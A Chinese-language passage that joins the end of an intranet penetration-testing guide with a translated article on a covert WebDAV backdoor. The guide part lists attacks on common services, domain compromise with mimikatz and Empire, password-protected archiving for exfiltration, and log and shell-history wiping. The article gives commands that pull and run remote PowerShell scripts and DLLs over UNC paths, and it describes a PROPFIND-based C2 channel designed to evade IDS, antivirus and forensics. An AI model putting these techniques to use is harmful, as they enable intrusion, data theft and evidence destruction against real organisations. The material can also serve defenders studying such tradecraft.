PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统，可以说是目前世界上最先进，功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库；[浅谈postgresql数据库攻击技术](http://lcx.cc/?i=1275)
大部分关于它的攻击依旧是sql注入，所以注入才是数据库不变的话题。
* 默认端口：5432
* 攻击方法：
* 爆破：弱口令：postgres postgres
* 缓冲区溢出：CVE-2014-2669
* 参考：
* <http://drops.xmd5.com/static/drops/tips-6449.html>
* <https://www.secpulse.com/archives/69153.html>
### 2.4.5 MongoDB数据库
MongoDB，NoSQL数据库；攻击方法与其他数据库类似》
* 默认端口：27017
* 攻击方法：
* 爆破：弱口令
* 未授权访问；github有攻击代码；[请点击](https://github.com/yangbh/Hammer/blob/master/plugins/System/mongodb_unauth_access.py)
* 参考：
* <http://www.cnblogs.com/LittleHann/p/6252421.html>
* <http://www.tiejiang.org/19157.html>
### 2.4.6 Redis数据库
Redis是一个开源的使用c语言写的，支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的，暴露出来的问题也很多。特别是前段时间暴露的未授权访问。
* 攻击方法：
* 爆破：弱口令
* 未授权访问+配合ssh key提权；
* 参考：
* <http://www.alloyteam.com/2017/07/12910/>
### 2.4.7 SysBase数据库
* 默认端口：服务端口5000；监听端口4100；备份端口：4200
* 攻击方法：
* 爆破：弱口令
* 命令注入：
* 参考
### 2.4.8 DB2 数据库
* 默认端口：5000
* 攻击方法：
* 安全限制绕过：成功后可执行未授权操作（CVE-2015-1922）
* 参考：
* <http://23.94.222.93/bug_detail.php?wybug_id=wooyun-2015-0113071>
## 2.5 常见服务/协议
### 2.5.1 FTP 服务
FTP服务：ftp服务我分为两种情况，第一种是使用系统软件来配置，比如IIS中的FTP文件共享或Linux中的默认服务软件；第二种是通过第三方软件来配置，比如Serv-U还有一些网上写的简易ftp服务器等；
默认端口：20（数据端口）；21（控制端口）；69（tftp小型文件传输协议）
* 攻击方式：
* 爆破：ftp的爆破工具有很多，这里我推荐owasp的[Bruter](https://sourceforge.net/projects/worawita/) 以及msf中ftp爆破模块；
* 匿名访问：用户名：anonymous 密码：为空或任意邮箱
* 嗅探：ftp使用明文传输技术（但是嗅探给予局域网并需要欺骗或监听网关）
* 后门 vsftp
* 远程溢出
* 跳转攻击
### 2.5.2 NFS 服务
NFS（Network File
System）即网络文件系统，是FreeBSD支持的文件系统中的一种，它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中，本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件，就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能，但遗留系统中的NFS服务配置不当，则仍可能遭到恶意攻击者的利用。
* 攻击方法
* 未授权访问
* 参考
* <http://www.freebuf.com/articles/network/159468.html>
* <http://www.vuln.cn/6368>
### 2.5.3 Samba服务
Samba是linux和unix系统上实现SMB/CIFS协议的一个免费软件，由服务器和客户端程序构成。而SMB是局域网支持共享文件和打印机的一种通信协议，为局域网内不同计算机之间提供文件及打印机等资源的共享服务。
* 攻击方法
* 远程代码执行
* 弱口令
* 未授权访问（public）
* 参考
* <http://www.91ri.org/17114.html>
### 2.5.4 SSH 服务
SSH 是协议，通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写，由 IETF 的网络工作小组（Network
Working Group）所制定；SSH 为建立在应用层和传输层基础上的安全协议。SSH
是目前较可靠，专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。
* 端口：22
* 攻击方法：
* 爆破
* 后门
* 漏洞：28退格漏洞、OpenSSL漏洞
* 参考
* <https://cloud.tencent.com/developer/article/1078187>
### 2.5.5 Telnet 服务
Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在終端使用者的电脑上使用telnet程序，用它连接到服务器。終端使用者可以在telnet程序中输入命令，这些命令会在服务器上运行，就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。
* 默认端口：21
* 攻击方法：
* 爆破
* 嗅探
### 2.5.6 Windows 远程连接
* 默认端口：3389
* 攻击方法
* 爆破
* Shift粘滞键后门：5次shift后门
* 利用ms12-020攻击3389端口
### 2.5.7 VNC服务
VNC（Virtual Network
Computing），为一种使用RFB协议的显示屏画面分享及远程操作软件。此软件借由网络，可发送键盘与鼠标的动作及即时的显示屏画面。
* 默认端口：5900+桌面ID（5901；5902）
* 攻击方式：
* 爆破：弱口令
* 认证口令绕过：
* 拒绝服务攻击：（[CVE-2015-5239](http://drops.wooyun.org/papers/9014)）
* 权限提升：（CVE-2013-6886）
### 2.5.8 SMTP协议
smtp：邮件协议，在linux中默认开启这个服务，可以向对方发送钓鱼邮件！
* 默认端口：25（smtp）、465（smtps）
* 攻击方式：
* 爆破：弱口令
* 未授权访问
### 2.5.9 POP3协议
* 默认端口：109（POP2）、110（POP3）、995（POP3S）
* 攻击方式：
* 爆破；弱口令
* 未授权访问；
### 2.5.10 DNS服务
* 默认端口：53
* 攻击方式：
* 区域传输漏洞
### 2.5.11 IMAP协议
* 默认端口：143（imap）、993（imaps）
* 攻击方式：
* 爆破：弱口令
* 配置不当
### 2.5.12 SNMP协议
* 默认端口：161
* 攻击方式:
* 爆破：弱口令
### 2.5.13 DHCP服务
* 默认端口：67&68、546（DHCP Failover做双机热备的）
* 攻击方式：
* DHCP劫持；
## 2.6 云环境
### 2.6.1 VMware
使用 VMware vCloud 可将现有数据中心内的虚拟基础架构资源池化，并将其作为基于目录的服务交付。通过与云计算基础架构的最佳平台 VMware
vSphere 配合使用，VMware vCloud Director 可为客户提供构建安全的私有云，从而改变 IT
部门交付和管理基础架构服务以及用户访问和使用这些服务的方式。
一般组织中很多独立安装的 Esxi 形式的私有云，或独立部署的虚拟化系统。
* 端口（很多）：
* <https://kb.vmware.com/s/article/2115330>
* <https://kb.vmware.com/s/article/2081930>
* 漏洞
* 主机逃逸
* CVE-2017-5638
* 参考：
* <https://paper.seebug.org/348/>
* <http://www.freebuf.com/articles/system/141179.html>
* <http://www.mottoin.com/100651.html>
* <http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4375.html>
* <https://twitter.com/VMwareSRC>
* [https://loudong.sjtu.edu.cn/?keyword=vmware&serverity=%E9%AB%98%E5%8D%B1&page=1](https://loudong.sjtu.edu.cn/?keyword=vmware&serverity=%E9%AB%98%E5%8D%B1&page=1)
* <https://www.vmware.com/cn/security/hardening-guides.html>
### 2.6.2 OpenStack
OpenStack是基础设施即服务（IaaS）软件，让任何人都可以自行创建和提供云计算服务。此外，OpenStack也用作创建防火墙内的“私有云”（Private
Cloud），提供机构或企业内各部门共享资源。
* 漏洞，有漏洞但是POC基本没有。检查时候可以参考安全的配置实践。
* 权限绕过漏洞
* 信息泄露
* 代码执行漏洞
* 参考：
* [https://loudong.sjtu.edu.cn/?keyword=openstack&serverity=%E9%AB%98%E5%8D%B1](https://loudong.sjtu.edu.cn/?keyword=openstack&serverity=%E9%AB%98%E5%8D%B1)
* <https://docs.openstack.org/liberty/zh_CN/install-guide-obs/environment-security.html>
* <http://www.freebuf.com/news/topnews/107203.html>
### 2.6.3 Docker
Docker是一个开放源代码软件项目，让应用程序布署在软件容器下的工作可以自动化进行，借此在Linux操作系统上，提供一个额外的软件抽象层，以及操作系统层虚拟化的自动管理机制[1]。Docker利用Linux核心中的资源分脱机制，例如cgroups，以及Linux核心名字空间（name
space），来创建独立的软件容器（containers）。这可以在单一Linux实体下运作，避免引导一个虚拟机造成的额外负担。Linux核心对名字空间的支持完全隔离了工作环境中应用程序的视野，包括进程树、网络、用户ID与挂载文件系统，而核心的cgroup提供资源隔离，包括CPU、内存、block
I/O与网络。从0.9版本起，Dockers在使用抽象虚拟是经由libvirt的LXC与systemd -nspawn提供界面的基础上，开始包括libcontainer函数库做为以自己的方式开始直接使用由Linux核心提供的虚拟化的设施。
* 安全问题（很少有漏洞的POC，安全检查也是基于最佳实践和官方安全建议进行）：
* 内核漏洞（Kernel exploits） 容器是基于内核的虚拟化，主机（host）和主机上的所有容器共享一套内核。如果某个容器的操作造成了内核崩溃，那么反过来整台机器上的容器都会受到影响。
* CVE-2015-3630 1.6.0 Docker Libcontainer 安全绕过漏洞
* CVE-2015-3627 1.6.1 Libcontainer和Docker Engine 权限许可和访问控制漏洞
* CVE-2015-3630 1.6.1 Docker Engine 安全绕过漏洞
* CVE-2014-9358 1.3.3 Docker 目录遍历漏洞
* CVE-2014-9357 1.3.2 Docker 权限许可和访问控制漏洞
* CVE-2014-6408 1.3.1 Docker 权限许可和访问控制漏洞
* CVE-2014-5277 1.3.0 Docker和docker-py 代码注入漏洞
* 拒绝服务攻击（Denial-of-service attacks） 所有的容器都共享了内核资源，如果一个容器独占了某一个资源（内存、CPU、各种ID），可能会造成其他容器因为资源匮乏无法工作（形成DoS攻击）。
* 容器突破（Container breakouts） Linux的namespace机制是容器的核心之一，它允许容器内部拥有一个PID=1的进程而在容器外部这个进程号又是不一样的（比如1234）。现在问题在于如果一个PID=1的进程突破了namespace的限制，那么他将会在主机上获得root权限。
* 有毒镜像（Poisoned images） 主要是考虑到镜像本身的安全性，没太多好说的。
* 参考：
* <https://toutiao.io/posts/2y9xx8/preview>
* <http://www.yunweipai.com/archives/21610.html>
* <http://www.91ri.org/15837.html>
* <https://blog.csdn.net/ruidu_doer/article/details/53401523>
* [https://loudong.sjtu.edu.cn/?keyword=docker&serverity=%E9%AB%98%E5%8D%B1](https://loudong.sjtu.edu.cn/?keyword=docker&serverity=%E9%AB%98%E5%8D%B1)
* <http://dockone.io/article/150>
* <http://www.dockerinfo.net/docker/docker%E5%AE%89%E5%85%A8>
* <https://blog.waterstrong.me/docker-security/>
## 2.7 大数据
### 2.7.1 Elsaticsearch
Elasticsearch 是一个分布式的搜索和分析引擎，可以用于全文检索、结构化检索和分析，并能将这三者结合起来。Elasticsearch 基于
Lucene 开发，现在是使用最广的开源搜索引擎之一，Wikipedia、Stack Overflow、GitHub 等都基于 Elasticsearch
来构建他们的搜索引擎。
* 默认端口：9200（）、9300（）
* 攻击方法：
* 未授权访问；
* 远程命令执行；
* 文件遍历；
* 低版本webshell植入；
* 参考
* <http://www.freebuf.com/sectool/38025.html>
* <https://www.secpulse.com/archives/5401.html>
### 2.7.2 hadoop
Hadoop是一个开源的框架，可编写和运行分布式应用处理大规模数据，是专为离线和大规模数据分析而设计的，并不适合那种对几个记录随机读写的在线事务处理模式。Hadoop=HDFS（文件系统，数据存储技术相关）+
Mapreduce（数据处理），Hadoop的数据来源可以是任何形式，在处理半结构化和非结构化数据上与关系型数据库相比有更好的性能，具有更灵活的处理能力，不管任何数据形式最终会转化为key/value，key/value是基本数据单元。用函数式变成Mapreduce代替SQL，SQL是查询语句，而Mapreduce则是使用脚本和代码，而对于适用于关系型数据库，习惯SQL的Hadoop有开源工具hive代替。
Hadoop就是一个分布式计算的解决方案。
参考：
* <https://tech.meituan.com/hadoop-security-practice.html>
* <https://zhuanlan.zhihu.com/p/33525241>
* <https://www.anquanke.com/post/id/85343>
* <https://www.cloudera.com/documentation/cdh/5-0-x/CDH5-Security-Guide/cdh5sg_hadoop_security_intro.html>
### 2.7.3 Hive
Hive是Hadoop家族中一款数据仓库产品，Hive最大的特点就是提供了类SQL的语法，封装了底层的MapReduce过程，让有SQL基础的业务人员，也可以直接利用Hadoop进行大数据的操作。
参考：
* <https://cwiki.apache.org/confluence/display/Hive/Security>
* <https://www.cnblogs.com/yejibigdata/p/6394719.html>
### 2.7.4 Sqoop
Apache Sqoop（SQL-to-Hadoop） 项目旨在协助 RDBMS 与 Hadoop 之间进行高效的大数据交流。用户可以在 Sqoop
的帮助下，轻松地把关系型数据库的数据导入到 Hadoop 与其相关的系统 (如HBase和Hive)中；同时也可以把数据从 Hadoop
系统里抽取并导出到关系型数据库里。除了这些主要的功能外，Sqoop 也提供了一些诸如查看数据库表等实用的小工具。
参考
* <https://sqoop.apache.org/docs/1.99.7/security.html>
### 2.7.5 HBase
HBase建立在HDFS之上，提供高可靠性、高性能、列存储、可伸缩、实时读写的数据库系统。它介于NoSQL和RDBMS之间，仅能通过行键(row
key)和行键序列来检索数据，仅支持单行事务(可通过Hive支持来实现多表联合等复杂操作)。主要用来存储非结构化和半结构化的松散数据。与Hadoop一样，HBase目标主要依靠横向扩展，通过不断增加廉价的商用服务器，来增加计算和存储能力。
参考：
* <https://www.cloudera.com/documentation/enterprise/5-6-x/topics/admin_hbase_security.html>
* <http://www.cloudera.com/documentation/cdh/5-1-x/CDH5-Security-Guide/cdh5sg_hbase_security.html>
### 2.7.6 Spark
Spark是UC Berkeley AMP lab所开源的类Hadoop MapReduce的通用的并行计算框架，Spark基于map
reduce算法实现的分布式计算，拥有Hadoop
MapReduce所具有的优点；但不同于MapReduce的是Job中间输出和结果可以保存在内存中，从而不再需要读写HDFS。
参考：
* <http://cwiki.apachecn.org/pages/viewpage.action?pageId=2887905>
# 3 后渗透
## 3.1 提权
SecWiki 总结了：
* <https://github.com/SecWiki/windows-kernel-exploits>
* <https://github.com/SecWiki/linux-kernel-exploits>
## 3.2 域攻击
通常域内渗透的过程
1. 确定目标系统和应用程序
2. 识别潜在的漏洞
3. 利用漏洞获得初始访问
4. 提升权限
5. 定位域管理进程或者获取远程系统上的本地身份验证令牌
6. 通过本地管理员的密码Hash，破解密码，使用mimikatz工具抓取密码验证运行在远程系统上的域名管理进程
7. 迁移域管理进程
8. 创建一个域管理员
假设到这里已经从外网或内网利用漏洞入侵到到一台服务器，并且通过提权获取了主机管理员权限，接下来要做的工作是获取域管理员权限，并找到敏感数据。
通常会使用到的工具：
1. Empire
2. PowerUp
3. PowerView
一般熟练使用一种就够用了，以 Empire 为例：
Empire 和 Metasploit
的使用原理是一样的，都是先设置一个监听，然后去生成一个木马，然后在目标主机运行该木马，我们的监听就会连接上反弹回来的代理。
参考：
* <https://www.anquanke.com/post/id/87328>
* <http://www.4hou.com/technology/4704.html>
域渗透另外一个工具 mimikatz，用于抓 Windows 密码，使用参考：
* <http://www.mottoin.com/98506.html>
* <https://zhuanlan.zhihu.com/p/34991269>
## 3.3 建立后门/端口转发
参考：
* <http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html>
* <https://1sparrow.com/2018/01/20/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E6%80%BB%E7%BB%93/>
* <http://drops.xmd5.com/static/drops/tools-15000.html>
端口转发及代理类工具
* LCX：windows下面的端口转发软件。
* sockscap：主要针对windows平台的端口转发和代理转发。
* proxifier：跨平台的端口转发和代理工具，适用windows，linux，
Macos平台，代理转发利器
* Rsscoks：＊nix平台下的端口转发和代理工具，配合proxychains好用
到不行。
* Proxychains：＊nix平台下老牌的socks代理工具，一般的系统都会自
带，谁用谁知道。
* ssh proxy：通过ssh做端口代理和转发，一般＊nix系统都自带。
* netcat：socat，hping，在很多情况下可以做端口转发和数据代理转
发。
* metasploit：metasploit的后渗透模块中有不少代理模块和端口转发
模块。
在中转服务器上下载端口转发工具（加密压缩）：
* 能连接互联网下载
* 通过 mstsc 的磁盘加载
* 通过入口服务器中转
* 通过远程控制软件上传
## 3.4 传输文件
### 3.4.1 文件打包
关于打包
* Rar文件打包，压缩d:\data\目录下所有2013-01-01后修改的doc文件，100M/包密码为Pass，-x为排除选项
rar.exe a–r –v100m new.rar –ta20130101000000 –hpPass –n*.doc –x*.exe d:\data\
* 7z加密，压缩d:\data下所有文件，密码为Pass，分卷100M/包
7z.exe a c:\xx.7z -pPass -mhe d:\data -v100m
* Linux用 tar 打包文件是可以加密码，要跟openssl结合使用。
tar -zcvf - pma|openssl des3 -salt -k password | dd of=pma.des3
* 使用 tar 对加密文件解压：
dd if=pma.des3 |openssl des3 -d -k password|tar zxf -
### 3.4.2 文件传输
几个思路
* 使用端口转发直接传送数据；
* 搭建 FTP、HTTP 协议；
* 上传到云端再下载；
## 3.5 制作后门/木马程序
一般用Matisploit 的 msfvenom，使用参考：
* <https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>
* <https://www.offensive-security.com/metasploit-unleashed/msfvenom/>
SET 也可以生成后门程序，另外也可以关注一下最新的 Office、PDF 的漏洞
# 4 日志清理
这部分对于安全检查、或授权渗透测试工作不是重点，通常也不考虑。
在做日志清理前需要了解以下的内容：
* 攻击和入侵很难完全删除痕迹，没有日志记录本身就是一种入侵特征；
* 删除或清理入侵系统的本地日志不代表删除了痕迹，在网络设备、安全设备、集中化日志系统上仍然留存记录；
* 留存的后门本身会有攻击者的信息；
* 使用的代理或跳板可能会被反向入侵;
* 在操作前检查是否有管理员登录；
* 删除上传的工具，使用磁盘覆写的功能删除；
Windows日志类型
* web日志：IIS、Apache以及其它web日志
* 操作日志：3389登录列表、最近访问文件、IE等浏览
器访问日志、文件访问日志
* 登陆日志：系统应用日志-安全日志等
* 攻击前和状态还原，尽量保持一致
Linux操作日志
* Linux历史操作
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
* SSHD登陆记录
删除~/.ssh/known_hosts中记录
* 修改文件时间戳
touch –r 原文件要修改文件
* 删除临时使用文件，尤其是tmp目录
* [logtamper](https://github.com/border/wifihack/tree/master/bin/logtamper)
# 5 工具和其他
1. 内网使用工具渗透的一些原则
* 使用适合自己的工具，工具没必要收集太多，够用就行；
* 能根据实际情况编写适用的工具；
* 不能确保安全的工具均要在虚拟机中运行（很
多捆绑病毒木马）；
* 做安全检查的话，尽量使用 GitHub 上开源的工具。
2. 工具介绍
个人习惯使用 kali 自带工具，特定 POC 先从 Github 上搜索。
推荐一个工具介绍的网站：<https://www.kitploit.com/>
3. 渗透注意事项
* 检查内网监控防范系统
* 谨慎使用ARP软件和大面积扫描软件
* 使用目标网络中无空闲机器，作为打包对象
* 使用内网大流量机器作为传输对象，如wsus服务
器、视频会议系统
* 使用临时机器打包、数据传输，不要使用已控机器，可利用wmi脚本或wmic远程操作
渗透注意事项
* 禁止使用psexec.exe
* 打包时避开用户工作时间
* 控制卷包大小<100M
* 选择用户常用压缩软件
* 错峰下载数据
* 控制传输流量
* 清除所有操作日志
* 登录主机前先看看管理员是否在
感谢大佬们的总结
* <http://www.91ri.org/15441.html>
* <https://paper.seebug.org/126/>
* <https://paper.seebug.org/409/>
* DC010 上海站 演讲ppt《5内网渗透思路（陈小兵）.pdf》 | 社区文章 |
# 【技术分享】利用WebDAV特性建立隐蔽后门
|
##### 译文声明
本文是翻译文章，文章来源：arno0x0x.wordpress.com
原文地址：<https://arno0x0x.wordpress.com/2017/09/07/using-webdav-features-as-a-covert-channel/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[Ska](http://bobao.360.cn/member/contribute?uid=24753802)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言——隐蔽后门的设计与需求**
我最近一直想为Windows系统设计一个隐蔽后门，主要功能是：
**传递各种恶意的payloads（shellcode，二进制文件，脚本等等…）**
**将其用作 C &C 通道**
为了取得成功，攻击者必须克服越来越多的挑战，特别是在企业环境中：
**绕过IDS / IPS**
**绕过各种防护软件（桌面，代理，邮件网关等）**
**代理感知和代理友好**
**DFIR友好，这里指从攻击者的角度来看**
1\. 尝试使用被忽视的通信渠道
2\. 避免在磁盘上操作，或至少避免在以后无法擦除的位置写入信息
3\. 尽可能在内存中工作
**不要触发事件数据记录器** **：**
1\. MS-Office二进制文件或脚本引擎（powershell，script host）执行HTTP请求是很可疑的
2\. MS-Office二进制文件或脚本引擎（powershell，script host）在临时文件夹中写入某些类型的文件是很可疑的
**WebDAV** 协议具有许多有趣的特性，恰巧满足这些需求：
**Windows操作系统内置支持此协议**
**许多内置的API函数，以及使用这些API的二进制文件和命令行工具，支持UNC（通用命名约定）路径。** 这有几个优点：
1\.
您不需要注意实现网络通信部分（没有使用任何“常用”的网络对象：Microsoft.XMLHTTP，WinHttp.WinHttpRequest，System.Net.WebClient）
2\. 它将看起来像操作系统正在执行网络请求。
更确切地说，正在使用WebClient服务，因此我们可以看到连接到WebDAV服务器的svchost.exe进程，而不是powershell.exe，cscript.exe，regsvr32.exe或任何MS-Office二进制文件
3\. 它是代理感知和代理友好的，如果需要，它可以使用代理身份验证
**它可以传递代理（而不是一些纯TCP或UDP回调通道）**
**
**
**Windows UNC路径处理挖掘**
为了实验WebDAV，我首先使用一个简单的 **Docker映像** 建立一个WebDAV服务器：
docker pull visity / webdav
Windows操作系统通过 **WebClient** 服务为WebDAV协议提供支持。 必须首先启动此服务，以便命令行工具和Windows
API功能可以支持指向WebDAV服务器的UNC路径。
有趣的是，我发现如果WebClient服务没有启动，那么标准用户（即：没有管理员权限）不能通过常规方式启动它（services.msc或sc start
webclient），但是使用 pushd \ webdav.server.com 命令映射WebDAV共享上的虚拟驱动器即使从普通用户也将自动启动服务。
[](https://camo.githubusercontent.com/90c93f0c15466e0fef4926736d2c4101bb18137b/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f732f65616562716379766e73626c71336e2f7765626461765f30302e6a70673f646c3d30)
一旦启动了WebClient服务，我们就可以开始用一些我们最喜爱的命令行工具来查看他们是否支持UNC指向我们的WebDAV服务器。
这是我同时在Windows 7和Windows 10上进行测试的结果：
成功的命令：
powershell.exe -exec bypass -f \webdav.server.compayload.ps1
rundll32.exe \webdav.server.compayload.dll,entryPoint
certutil.exe -decode \webdav.server.compayload.b64 payload.dll
成功的API调用：
VBA: Dir("\webdav.server.comsomepath")
.Net: Directory.EnumerateFiles("\webdav.server.comsomepath")
失败的命令：
regsvr32.exe /s /n /u /i:\webdav.server.compayload.sct scrobj.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe \webdav.server.compayload.xml
copy \webdav.server.compayload payload
xcopy \webdav.server.compayload payload
mshta \webdav.server.compayload.hta
C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /out:payload.exe \webdav.server.compayload.cs
这些失败的命令看上去与我想的不一致，因为在一些情况下，操作系统似乎能够通过远程文件系统访问文件（通过WebClient服务通过WebDAV协议）提供某种抽象层，
而在其他一些情况下，它却不行…这其中一定有一个原因，但我找不到为什么。
**
**
**利弊**
到目前为止，使用指向WebDAV服务器的UNC路径证明具有以下优点：
1\. 为了提供一些（初始）Payloads，不需要实现网络通信部分。
这不仅是方便的，同时也可能避免被著名的"System.Net.WebClient().DownloadString() powershell技巧检测到。
2\. Svchost.exe是执行网络通信的唯一过程（EDR友好）
3\. 自动代理意识（包括认证），这在企业环境中是一个明确的“必须”。
然而，还有一些缺点：
1\.
通过上述命令中所示的UNC路径访问/下载的所有有效载荷都会在WedDAV客户端缓存（C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV）中本地复制。
这绝对不是对DFIR友好，因为它在磁盘上写，就可能会触发本地防病毒软件。
[](https://camo.githubusercontent.com/9efeb62cafb9953f6c13e02c39ea3856963a3d53/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f732f67726c673561676c727a38727278662f7765626461765f30312e706e673f646c3d30)
2\. 恶意的Payloads仍然会被诸如 **IPS** 之类的外围安全系统阻止，或更有可能被Web代理防病毒软件阻止。
那么我们如何摆脱这些缺陷，并以一种聪明的方式使用WebDAV作为提供Payloads的隐蔽通道呢？
**
**
**一些WebDAV内部组件 – OPTIONS / PROPFIND / GET**
请记住，WebDAV只是HTTP协议的扩展，使用自己的一组HTTP动词（例如：PROPFIND，MKCOL，MOVE，LOCK等）和HTTP头（Depth，translate等），使用XML作为元数据传输的数据格式。
因此，当WebClient服务（即：WebDAV客户端）首先连接到WebDAV服务器时，它将通过执行以下请求来询问支持的选项：
OPTIONS / HTTP/1.1
Connection: Keep-Alive
User-Agent: Microsoft-WebDAV-MiniRedir/10.0.14393
translate: f
Host: 10.211.55.2
WebDAV服务器通常将通过以下响应进行回应，详细说明其实现支持的所有选项：
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 07 Sep 2017 10:15:36 GMT
Content-Length: 0
DAV: 1
Allow: GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS
Proxy-Connection: Close
Connection: Close
Age: 0
那么通常会使用一些标题为“Depth:
0”的PROPFIND请求，以便WebDAV客户端获取有关它所在位置的信息（目录，大小，创建日期和其他类型的元数据）以及某些默认的Windows文件作为“Desktop.ini”或“Autorun.inf”（无论这些文件是否存在于WebDAV服务器上）。
请求看起来像这样：
PROPFIND / HTTP/1.1
Connection: Keep-Alive
User-Agent: Microsoft-WebDAV-MiniRedir/10.0.14393
Depth: 0
translate: f
Content-Length: 0
Host: 10.211.55.2
重要的是要注意，在这一点上，客户端的硬盘驱动器上没有传输实际的文件，也没有缓存。
然后，如果WebDAV客户端要求远程目录中所有文件的列表，它将发出一些PROPFIND请求，其中一个标题为“Depth: 1”，如下所示：
PROPFIND / HTTP/1.1
Connection: Keep-Alive
User-Agent: Microsoft-WebDAV-MiniRedir/10.0.14393
Depth: 1
translate: f
Content-Length: 0
Host: 10.211.55.2
WebDAV服务器将回复当前目录中存在的所有文件的XML格式列表，以及一些元数据信息（大小，创建日期等）。 每个 <D:response>
块对应一条文件信息：
HTTP/1.1 207 Multi-Status
Server: nginx/1.6.2
Date: Thu, 07 Sep 2017 10:27:23 GMT
Content-Length: 8084
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/</D:href>
<D:propstat>
<D:prop>
<D:creationdate>2017-09-07T10:27:23Z</D:creationdate>
<D:displayname>filename</D:displayname>
<D:getcontentlanguage/>
<D:getcontentlength>4096</D:getcontentlength>
<D:getcontenttype/>
<D:getetag/>
<D:getlastmodified>Thu, 07 Sep 2017 10:27:23 GMT</D:getlastmodified>
<D:lockdiscovery/>
<D:resourcetype><D:collection/></D:resourcetype>
<D:source/>
<D:supportedlock/>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
[...]
</D:multistatus>
在这一点上，仍然没有实际的文件传输，客户端硬盘上没有缓存文件。
最终，当WebDAV客户端想要访问文件时，它将发出实际传输文件的请求，如下所示：
GET /calc.hta HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Microsoft-WebDAV-MiniRedir/10.0.14393
translate: f
Host: 10.211.55.2
WebDAV服务器使用包含请求文件的十分标准的HTTP响应进行回复。
在这一点上，文件被传输并缓存在客户端的驱动器上（C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV）。
我们可以看到，上述两个缺点仅在文件实际从服务器传输到客户端时发生。但是事实证明，用于列出目录中的文件的PROPFIND请求也拥有可用于传输任意数据的大量信息。
**
**
**仅使用PROPFIND请求**
所以我们想要实现的只是使用PROPFIND请求传输任意数据。我提出了以下想法：
1\. 文件名本身就是在列出具有PROPFIND请求的目录时传送的信息。
2\. 目录中可能需要/需要的文件数量尽可能多（可能会有一个限制，但仍然可以处理）。
3\. 虽然这取决于WebDAV客户端和服务器实现，但每个文件名可以大致为250个字符。
4\. 文件名只能支持一定数量的字符（例如'/'和''不支持）
这就让我产生了以下想法，假设给定一个我想传递的Payload，可通过如下步骤处理：
1\. 先对其进行base64编码
2\. 替换文件名中不支持的所有字符（用'_'替换'/'，这似乎是常见的做法）
3\. 将其切成250个字符的块
4\. 使其可用作目录名
在远端，我需要找到一种方法：
1\. 只列出虚拟目录上的文件（不GET任何东西）
2\. 重组那些块
3\. 将替换的字符替换回来
4\. 将base64结果解码回初始Payload
所有这些都需要付出代价：大量的性能和通信浪费。但它可以让我们摆脱上述两个缺点！
为了实现这一点，我创建了一个（快速并且写的很差的）python脚本，它的行为就像一个非常非常简约的WebDAV服务器（仅支持OPTIONS和PROPFIND请求）。但这只是足以满足我们的需求。使用有效载荷文件作为参数调用此脚本，以及要使用的base64编码类型（与powershell兼容或不兼容），并将在端口80上启动WebDAV服务器：
[](https://camo.githubusercontent.com/53fe8a5dda093f939acc0c0226bdecc4d22561ef/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f732f6b76656175666b30366a6c376333622f7765626461765f30322e706e673f646c3d30)
在客户端，有很多方法可以执行适当的请求，所以我创建了一些例子，使用VBA宏或Powershell脚本，它们都只依赖于WebClient服务，这样我们以前讨论的所有其他好处仍然存在：
1\. 网络外围防御系统（IPS，杀毒软件）没有检测到传输的Payload。
2\. 没有文件写在WebDAV客户端缓存中，也就是磁盘上。
WebDav传输工具和一些客户端stager示例托管在此gist页面上：
[https://gist.github.com/Arno0x/5da411c4266e5c440ecb6ffc50b8d29a](https://gist.github.com/Arno0x/5da411c4266e5c440ecb6ffc50b8d29a)
**
**
**进一步使用完整的C &C通信**
基于相同的原因，为什么只提供有效载荷？为什么不通过WebDAV PROPFIND请求/响应创建一个完整的C&C双向通信通道？
所以我创建了一个极简代理和C&C服务器，作为一个PoC。代理方是一个.Net程序集可执行文件，可以独立执行，也可以加载到一个powerhell进程的内存中。所有通信来回使用仅基于UNC路径的PROPFIND请求，因此利用WebClient服务和前面提到的所有好处。
主要特点是：
1\. 创建各种stager，试图避免杀毒软件检测，这将下载Agent，然后加载到一个powershell进程内存中。
2\. 在v0.1中，代理程序只需执行本地“cmd.exe”子进程，并通过WebDAV
PROPFIND请求代理来自C2服务器的stdin/stdout/stderr。
[](https://camo.githubusercontent.com/c44e8a6b64a497637227021b91b7666834295f27/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f732f737775637639697872376261756d622f7765626461765f30332e706e673f646c3d30)
